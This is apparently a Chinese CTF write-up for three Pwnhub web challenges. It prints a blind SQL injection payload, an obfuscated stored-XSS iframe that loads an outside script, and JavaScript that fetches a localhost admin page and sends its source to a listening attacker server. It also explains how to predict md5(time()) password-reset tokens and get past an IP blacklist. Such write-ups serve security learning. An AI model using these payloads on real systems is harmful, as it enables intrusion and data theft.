文章目录
  1. 简陋的博客
  2. Time, grasp is gold, catch up is running water.

Pwnhub杯几道题Writeup

第一次认真地打比赛。

简陋的博客

点进题非常简洁,只有两个按钮,分别对应两篇文章。两个URL分别为 :http://54.223.247.98:8023/?a=article&page=1和http://54.223.247.98:8023/?a=article&page=2。第一篇文章中提到对GET、POST、REQUEST变量进行过滤。大致猜到可以注入。于是对Page参数进行注入测试,进行一轮FUZZ之后牺牲惨烈,几乎所有的符号都被过滤了。这时候想到文章说的对POST也进行了过滤,那就试试把参数放到post中。测试下来发现a和page可以使用post传参,a参数只过滤了单引号,page参数如何测试都无法验证过滤了什么。

1.jpg

对a测试时,发现a是表名。表名是不可以被单引号包裹的,但表名可以被反引号包裹,本题也是如此。输入一个单引号就会报错。进行了一顿报错后,猜测查询语句为 select * from sqli.输入点 where id=’输入点’。在报错信息中也发现page参数经过了intval()处理。

还有一个点是在出字段名时,表名称需要单引号包裹,用16进制绕过。

最后的payload:

url:http://54.223.247.98:8023/?&page=1

where id =1 and 1=if(ascii(substring((select column_name from information_schema.columns where table_name=0x666C61675F69735F68657265 limit 0,1),13,1))=115,1,2) union select * from `article```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
最终使用盲注,一位一位跑,返回页面的两种大小为布尔值,得到flag。`SYC{O0o._O0o._O0o._O0o._O0o.}`
### 中国菜刀
这道题要分析菜刀后门。本来以为要逆出源码,小伙伴指点,抓包即可。于是在自己的服务器上放一个马,用下载的菜刀连上去,抓包。
![2.jpg][2]
对源码urlencode后base64_decode,出现一个网址http://118.89.225.190/shellbox.php?shell=,进入之后一片空白。最shell进行FUZZ,判断对XSS的某些payload过滤。因此判断这里是一个储存型XSS。
构造payload:`<IFRAME SRC="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#119;&#114;&#105;&#116;&#101;&#40;&#39;&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#115;&#114;&#99;&#61;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#104;&#101;&#98;&#105;&#99;&#46;&#109;&#101;&#47;&#115;&#104;&#101;&#108;&#108;&#47;&#50;&#46;&#106;&#115;&#62;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#39;&#41;"></IFRAME> `
URL编码后访问,XSS平台收信。得到一个管理员页面shellbox_admin.php?id=2008 访问之依然是空白页面。对id进行各种测试都没有结果。此时有人提醒要看referer头。但是xss平台没有收到referer头,于是把xss payload变成一个img标签,指向监听的服务器。收到了referer头,http://127.0.0.1/shellbox_admin.php?id=2008 结合hint:flag在源码中,需要127.0.0.1访问shellbox_admin,并带出源码。
```javascript
var target_url="http://127.0.0.1/shellbox_admin.php?id=2008";
var server_url="http://x.x.x.x:7231/";
var xmlhttp;
function create_xmlhttp()
{
try{
xmlhttp=new XMLHttpRequest;
}catch(err){
try{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}catch(err){
}
}
}
create_xmlhttp();
if(xmlhttp!=null){
xmlhttp.onreadystatechange=state_change;
xmlhttp.open("GET",target_url,true);
xmlhttp.send(null);
}
function state_change()
{
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var s = new send_source(xmlhttp.responseText);
}
}
function send_source(source)
{
create_xmlhttp();
var url = server_url+"?source="+escape(source);
xmlhttp.open("GET",url,false);
xmlhttp.send(null);
}

监听7231,得到源码。拿到flag SYC{1_w0Nt_D0_1T_4gAin}

Time, grasp is gold, catch up is running water.

P师傅说,50%的ctf题打开是个登录界面。

进入题目一个登陆界面,有注册,登录,忘记密码几个功能。用普通用户登录后要求用管理员登录以继续做题。测试以后得到以下信息

  1. 源码中有管理员邮箱

  2. 忘记密码之后可以在源码中得到一个用于重置密码的token

  3. 忘记管理员的密码不会得到一个token

所以思路就很明显了:利用普通用户重置密码找到token的规律,使用token重置管理员密码。

token是md5(time()),在重置管理员密码的一瞬间执行一次,就得到一个token。

另外,在重置密码界面提示ip在黑名单中。这里的规则是,每一个重置密码的地址只能使用一次,所以重置管理员密码的时候换一个没有使用过的ip地址即可。

重置之后是用管理员进入后台。

支持一下
扫一扫,支持forsigner